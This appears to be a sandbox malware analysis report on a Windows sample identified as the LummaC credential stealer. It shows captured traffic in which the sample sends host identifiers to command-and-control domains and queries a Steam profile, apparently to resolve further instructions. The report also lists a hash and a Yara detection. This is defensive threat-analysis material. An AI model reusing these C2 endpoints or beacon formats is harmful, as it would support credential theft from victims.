2025-03-13 13:58:11 UTC	811	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 13:58:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SU9zG%2B4hdw2ZFTkhPMzzzck0hBOshx3XTDQMWSK8yKFtLEN0FVzC98bk66x5el2e6Ak%2BjxgEHTmkG8OmJGAfvd6rzVkrbj2g9UAolECmjF7PQQMR4Aa2d60ds%2FNCTNna"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91fc0b701e652000-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18497&min_rtt=15142&rtt_var=7268&sent=12&recv=19&lost=0&retrans=0&sent_bytes=2831&recv_bytes=15432&delivery_rate=191142&cwnd=250&unsent_bytes=0&cid=0903f5e6a871bb68&ts=1025&x=0"
2025-03-13 13:58:11 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 37 34 2e 31 31 30 2e 32 32 33 2e 31 34 38 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 74.110.223.148"}}
2025-03-13 13:58:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49684	188.114.97.3	443	7128	C:\Users\user\Desktop\nvtoaldlrg.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 13:58:13 UTC	272	OUT	POST /gdJIS HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6nR23kDEj User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15012 Host: citydisco.bet
2025-03-13 13:58:13 UTC	15012	OUT	Data Raw: 2d 2d 36 6e 52 32 33 6b 44 45 6a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 37 33 37 30 39 63 65 36 61 33 39 36 64 61 33 33 37 39 36 37 64 34 35 35 61 35 64 35 37 39 34 37 0d 0a 2d 2d 36 6e 52 32 33 6b 44 45 6a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 36 6e 52 32 33 6b 44 45 6a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 46 38 36 35 41 31 44 38 38 42 42 43 42 38 44 32 36 38 45 30 39 41 33 37 44 44 34 44 44 44 44 0d 0a 2d 2d 36 6e 52 32 Data Ascii: --6nR23kDEjContent-Disposition: form-data; name="uid"73709ce6a396da337967d455a5d57947--6nR23kDEjContent-Disposition: form-data; name="pid"2--6nR23kDEjContent-Disposition: form-data; name="hwid"BF865A1D88BBCB8D268E09A37DD4DDDD--6nR2
2025-03-13 13:58:14 UTC	809	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 13:58:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Jj7pXljNcpwses9TgCp4hc2WHNT7xC%2B2KRfqe7JzpFKJIb5DXUzY4ze29yAx5L8Pd%2FfTeMZRkVMOUQpMpqtUacHoy4cmin9vQTm%2BmBGvyqq7uJYfrsBlKyUlDszPQ3R8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91fc0b7ecbabd6e5-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18511&min_rtt=14932&rtt_var=7411&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2830&recv_bytes=15942&delivery_rate=193880&cwnd=235&unsent_bytes=0&cid=4e3564aefe59ac65&ts=873&x=0"
2025-03-13 13:58:14 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 37 34 2e 31 31 30 2e 32 32 33 2e 31 34 38 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 74.110.223.148"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49730	104.73.234.102	443	7128	C:\Users\user\Desktop\nvtoaldlrg.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 13:58:21 UTC	94	OUT	GET /profiles/76561199822375128 HTTP/1.1 Connection: Keep-Alive Host: steamcommunity.com
2025-03-13 13:58:21 UTC	1962	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 X-Frame-Options: SAMEORIGIN Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 13 Mar 2025 13:58:21 GMT Content-Length: 26244 Connection: close Set-Cookie: sessionid=cee889fd76b5b4226d768242; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C83521ba33f152859d9ded61861c1940c; path=/; secure; HttpOnly; SameSite=None
2025-03-13 13:58:21 UTC	14422	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 20 44 65 73 6b 74 6f 70 55 49 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e Data Ascii: <!DOCTYPE html><html class=" responsive DesktopUI" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21">
2025-03-13 13:58:22 UTC	11822	IN	Data Raw: 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 22 3e 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6f 64 79 20 70 6f 70 75 70 5f 6d 65 6e 75 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 73 63 68 69 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 73 63 68 69 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e7 ae 80 e4 bd 93 e4 b8 ad e6 96 87 20 28 53 69 6d 70 6c 69 66 69 65 64 20 43 68 69 6e 65 73 65 29 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 Data Ascii: yle="display: none;"><div class="popup_body popup_menu"><a class="popup_menu_item tight" href="?l=schinese" onclick="ChangeLanguage( 'schinese' ); return false;"> (Simplified Chinese)</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49731	104.73.234.102	443	7128	C:\Users\user\Desktop\nvtoaldlrg.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 13:58:23 UTC	94	OUT	GET /profiles/76561199822375128 HTTP/1.1 Connection: Keep-Alive Host: steamcommunity.com
2025-03-13 13:58:24 UTC	1962	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 X-Frame-Options: SAMEORIGIN Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 13 Mar 2025 13:58:24 GMT Content-Length: 26244 Connection: close Set-Cookie: sessionid=cac8a6ba4568ff49bb7a7ac9; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C83521ba33f152859d9ded61861c1940c; path=/; secure; HttpOnly; SameSite=None
2025-03-13 13:58:24 UTC	14422	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 20 44 65 73 6b 74 6f 70 55 49 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e Data Ascii: <!DOCTYPE html><html class=" responsive DesktopUI" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21">
2025-03-13 13:58:24 UTC	11822	IN	Data Raw: 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 22 3e 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6f 64 79 20 70 6f 70 75 70 5f 6d 65 6e 75 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 73 63 68 69 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 73 63 68 69 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e7 ae 80 e4 bd 93 e4 b8 ad e6 96 87 20 28 53 69 6d 70 6c 69 66 69 65 64 20 43 68 69 6e 65 73 65 29 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 Data Ascii: yle="display: none;"><div class="popup_body popup_menu"><a class="popup_menu_item tight" href="?l=schinese" onclick="ChangeLanguage( 'schinese' ); return false;"> (Simplified Chinese)</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49733	104.73.234.102	443	7128	C:\Users\user\Desktop\nvtoaldlrg.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 13:58:26 UTC	94	OUT	GET /profiles/76561199822375128 HTTP/1.1 Connection: Keep-Alive Host: steamcommunity.com
2025-03-13 13:58:27 UTC	1962	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 X-Frame-Options: SAMEORIGIN Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 13 Mar 2025 13:58:26 GMT Content-Length: 35710 Connection: close Set-Cookie: sessionid=740c83c77edb84e75be3f9bd; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C83521ba33f152859d9ded61861c1940c; path=/; secure; HttpOnly; SameSite=None
2025-03-13 13:58:27 UTC	14422	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 20 44 65 73 6b 74 6f 70 55 49 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e Data Ascii: <!DOCTYPE html><html class=" responsive DesktopUI" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21">
2025-03-13 13:58:27 UTC	16384	IN	Data Raw: 63 74 6f 72 22 20 64 61 74 61 2d 74 6f 6f 6c 74 69 70 2d 63 6f 6e 74 65 6e 74 3d 22 2e 73 75 62 6d 65 6e 75 5f 43 6f 6d 6d 75 6e 69 74 79 22 3e 0a 09 09 09 09 43 4f 4d 4d 55 4e 49 54 59 09 09 09 3c 2f 61 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 5f 43 6f 6d 6d 75 6e 69 74 79 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 22 20 64 61 74 61 2d 73 75 62 6d 65 6e 75 69 64 3d 22 43 6f 6d 6d 75 6e 69 74 79 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 22 3e 0a 09 09 09 09 09 09 48 6f 6d 65 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 Data Ascii: ctor" data-tooltip-content=".submenu_Community">COMMUNITY</a><div class="submenu_Community" style="display: none;" data-submenuid="Community"><a class="submenuitem" href="https://steamcommunity.com/">Home</a>
2025-03-13 13:58:27 UTC	3762	IN	Data Raw: 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6c 61 79 65 72 41 76 61 74 61 72 41 75 74 6f 53 69 7a 65 49 6e 6e 65 72 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 61 76 61 74 61 72 73 2e 66 61 73 74 6c 79 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 66 65 66 34 39 65 37 66 61 37 65 31 39 39 37 33 31 30 64 37 30 35 62 32 61 36 31 35 38 66 66 38 64 63 31 63 64 66 65 62 5f 66 75 6c 6c 2e 6a 70 67 22 3e 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 22 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f Data Ascii: <div class="playerAvatarAutoSizeInner"><img src="https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg"></div></div><div class="profile_header_badgeinfo"><div class="profile_header_
2025-03-13 13:58:27 UTC	1142	IN	Data Raw: 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 41 6c 6c 20 74 72 61 64 65 6d 61 72 6b 73 20 61 72 65 20 70 72 6f 70 65 72 74 79 20 6f 66 20 74 68 65 69 72 20 72 65 73 70 65 63 74 69 76 65 20 6f 77 6e 65 72 73 20 69 6e 20 74 68 65 20 55 53 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 75 6e 74 72 69 65 73 2e 3c 62 72 2f 3e 53 6f 6d 65 20 67 65 6f 73 70 61 74 69 61 6c 20 64 61 74 61 20 6f 6e 20 74 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 72 6f 76 69 64 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 6c 69 6e 6b 66 69 6c 74 65 72 2f 3f 75 3d 68 74 74 70 25 33 41 25 32 46 25 32 46 77 77 77 2e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c Data Ascii: All rights reserved. All trademarks are property of their respective owners in the US and other countries.<br/>Some geospatial data on this website is provided by <a href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org" target="_bl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49738	188.114.96.3	443	7128	C:\Users\user\Desktop\nvtoaldlrg.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 13:58:28 UTC	263	OUT	POST /bSHsyZD HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 111 Host: guntac.bet
2025-03-13 13:58:28 UTC	111	OUT	Data Raw: 75 69 64 3d 37 33 37 30 39 63 65 36 61 33 39 36 64 61 33 33 37 39 36 37 64 34 35 35 61 35 64 35 37 39 34 37 26 63 69 64 3d 61 36 65 33 34 38 33 35 32 39 33 64 61 31 37 38 32 38 30 33 34 63 39 36 32 34 66 34 62 36 34 39 26 68 77 69 64 3d 42 46 38 36 35 41 31 44 38 38 42 42 43 42 38 44 32 36 38 45 30 39 41 33 37 44 44 34 44 44 44 44 Data Ascii: uid=73709ce6a396da337967d455a5d57947&cid=a6e34835293da17828034c9624f4b649&hwid=BF865A1D88BBCB8D268E09A37DD4DDDD
2025-03-13 13:58:29 UTC	806	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 13:58:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V6FjNRpKX9myqsCVI%2FEK6Ul5nExbvd%2Bc0Apd42auOk6SNYjYk94jqARAstVtdWDJ0d7NOLLw%2B3UfDegyJDlDVm3KxH6s72ooo6SDNjmjy%2BUxw3UfU2aSXT6qHWVn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91fc0be08cb3ba2a-SEA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=11263&min_rtt=10237&rtt_var=4717&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2823&recv_bytes=1010&delivery_rate=187637&cwnd=227&unsent_bytes=0&cid=16f4f0328ab1ade6&ts=1072&x=0"
2025-03-13 13:58:29 UTC	61	IN	Data Raw: 33 37 0d 0a 7b 22 65 72 72 6f 72 22 3a 7b 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 31 2c 22 65 72 72 6f 72 5f 6d 73 67 22 3a 22 64 61 74 61 20 6e 6f 74 20 66 6f 75 6e 64 22 7d 7d 0d 0a Data Ascii: 37{"error":{"error_code":1,"error_msg":"data not found"}}
2025-03-13 13:58:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	09:58:05
Start date:	13/03/2025
Path:	C:\Users\user\Desktop\nvtoaldlrg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\nvtoaldlrg.exe"
Imagebase:	0xac0000
File size:	1'311'232 bytes
MD5 hash:	4A0C3D026246920F6B8BD466CC5FDD8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.921555375.000000000147F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report nvtoaldlrg.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Windows Analysis Report
nvtoaldlrg.exe